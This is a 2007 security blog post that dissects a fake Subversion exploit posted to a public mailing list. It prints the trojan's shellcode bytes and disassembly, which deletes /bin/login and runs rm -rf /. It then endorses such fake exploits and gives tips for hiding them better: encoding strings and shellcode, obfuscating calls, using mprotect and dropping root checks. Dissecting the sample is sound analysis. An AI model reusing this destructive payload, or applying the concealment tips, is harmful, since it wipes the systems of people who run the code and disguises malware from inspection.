Subreption blog

Fri, 21 Dec 2007

Fake exploits: probably necessary

Yesterday, a message surfaced in full-disclosure, the mostly always funny and chaotic unmoderated security-related list (although the nature of the list these days is ambiguous, it remains as a free alternative to commercially sponsored and more supervised alternatives). It was a supposedly accidental release to the public eye of a remote Subversion exploit (which already seems enough dubious):

/*
 * This exploits a wierd state condition in Subversion < = 1.4.4.
 * When the incoming connection stack is filled via many incoming
 * syns in concurance with shifting the rev_ptr struct over a
 * variable gap of memory a boundary condition occurs which corrupts
 * a func ptr to point several bytes backwards. A call is forced
 * through "checkout-latest-rev" with our shellcode in place.
 *
 * This Vuln is NOT public, do NOT release this code or any
 * information pertaining to this bug.
 *
 * Author: onionring
 */

Behind a serious sounding description, there's really nothing technically valid. It's just "mumbo jumbo" to make it apparently legitimate to any potential user of the exploit (in this case, more than one security guy has probably attempted to use it).

We have a seemingly normal IA32 shellcode (except for the hardcoded NOP sled which is not so stylish):

char sc[] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
  "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80"
  "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80"
  "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42"
  "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31"
  "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F"
  "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F"
  "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72"
  "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2"
  "\x04\x0B\xCD\x80";

Let's take a look over the disassembly and strings. We notice a call to the signal() system call:

From include/asm-i386/unistd.h
#define __NR_signal              48

From include/asm-generic/signal.h
/* ignore signal */
#define SIG_IGN ((__force __sighandler_t)1)

From include/asm-i386/signal.h
#define SIGHUP           1

00000030  31C0              xor eax,eax
00000032  89C3              mov ebx,eax
00000034  89C1              mov ecx,eax
00000036  41                inc ecx
00000037  B030              mov al,0x30
00000039  CD80              int 0x80

Later it issues a fork() call and, as a reply in full-disclosure thread, seems to be part of a typical fork() bomb procedure.

That's rather uninteresting anyway, except for the fact that its intention is likely to render the machine unusable while the real harmful (or fun, depending if you are watching someone run it, or you are running it yourself in an unprotected environment ;) ) part is executed.

0000006F  31C0              xor eax,eax
00000071  50                push eax
00000072  686F67696E        push dword 0x6e69676f
00000077  68696E2F6C        push dword 0x6c2f6e69
0000007C  682F2F2F62        push dword 0x622f2f2f
00000081  89E3              mov ebx,esp
00000083  31C0              xor eax,eax
00000085  040A              add al,0xa
00000087  CD80              int 0x80

There you go. This annoyance is nothing but an unlink() call to remove the /bin/login file. The situation is aggravated by the fact that the fake exploit, using raw sockets as excuse, requires root privileges to run:

 if (getuid() != 0) {
    fprintf(stderr, "[E] Need root privs for raw sockets\n");
    exit(1);
  }

And finally the mandatory execve() of /bin/rm -rf /, which is typical in these cases.

00000089  31C0              xor eax,eax
0000008B  50                push eax
0000008C  682A2F2F2F        push dword 0x2f2f2f2a
00000091  89E2              mov edx,esp
00000093  50                push eax
00000094  682D726666        push dword 0x6666722d
00000099  89E1              mov ecx,esp
0000009B  50                push eax
0000009C  686E2F726D        push dword 0x6d722f6e
000000A1  682F2F6269        push dword 0x69622f2f
000000A6  89E3              mov ebx,esp
000000A8  50                push eax
000000A9  52                push edx
000000AA  51                push ecx
000000AB  53                push ebx
000000AC  89E1              mov ecx,esp
000000AE  31D2              xor edx,edx
000000B0  040B              add al,0xb
000000B2  CD80              int 0x80

You can use the watson.org LXR installation for looking up system call numbers, and other constants. The disassembly is clear and easy to interpret, it shouldn't be a problem to understand what's going on.
Why are fake exploits necessary? They usually catch script kiddies and other annoying people, and the technically skilled guys won't bother running them without inspection (there are exceptions, though :) ). They serve as great jokes, even if some can cause significant damage to the system (unless you run them inside a hardened chroot environment, with a solid patch like grsecurity that prevents several techniques to break out of the chroot).
How to make them more subtle and reliable? Some simple tips:

XOR is simple, your shellcode should make use of encoded strings. The very first thing most people do is run strings against your exploit in compiled form.
1. Even better, encode the whole shellcode. Metasploit can help you there :)
Quite some script kiddies know how to patch and compile a kernel. They can use Gentoo, and they could be aware of the existence of something wonderful known as PaX. A fake exploit that relies on overflowing a stack-based buffer of its own (in other words, attempting to exploit itself) might not work in some cases.
1. Use a subtle pointer reassignment.
2. Use a signal handler.
3. Obfuscate the calls via macros...
4. mprotect() is your friend. Make it subtle, though.
People will be much more careful with an exploit that requires root privileges to run. And the raw sockets trick has been used way too much already. You really don't need to be root to do real damage.

There have been more elaborated fake exploits released to the public and distributed through legitimate FTP servers. One of them was wu261.c, in 2001.

>Hey, I'm told that this exploit like eats your hard drive or something. >Caveat emptor and all, but I figured since I actually heard about this, >I'd let you know. I guess it's a spoofed note. > BB

Side note: Michal Zalewski (lcamtuf, working now for Google) released back in 2004 a tool to aid in detection of fake exploits, known as "fakebust".

Published on: Fri, 21 Dec 2007. | Path: /security/exploits | Permalink

Subreption blog

Fri, 21 Dec 2007

Fake exploits: probably necessary

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